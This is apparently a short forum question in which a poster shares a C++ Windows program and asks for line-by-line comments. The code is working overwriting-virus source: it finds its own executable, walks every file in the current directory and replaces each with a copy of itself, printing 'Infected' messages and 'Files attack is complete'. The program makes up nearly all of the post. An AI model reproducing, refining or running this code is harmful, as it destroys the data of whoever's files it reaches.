❓ Explain about this code
Code:
#include<iostream>
#include<windows.h>
using namespace std;
int main()
{
char VirusFile[MAX_PATH];
HANDLE Search;
WIN32_FIND_DATA FileData;
BOOL Finished=FALSE;
GetModuleFileName(0,VirusFile,sizeof(VirusFile));
Search=FindFirstFile("*.*",&FileData);
while(!Finished)
{
if(CopyFile(VirusFile,FileData.cFileName,FALSE))
{
cout<<"<----Infected---->"<<' '<<FileData.cFileName<<endl;
}
FindNextFile(Search,&FileData);
if(GetLastError() == ERROR_NO_MORE_FILES)
{
Finished=TRUE;
}
}
FindClose(Search);
cout<<"\n";
cout<<"<----****Files attack is complete****---->"<<endl;
cout<<"\n";system("pause");
return 0;
}
Can someone explain this code for me by placing comment beside lines?
I saw this source code somewhere but i don't quite remember.

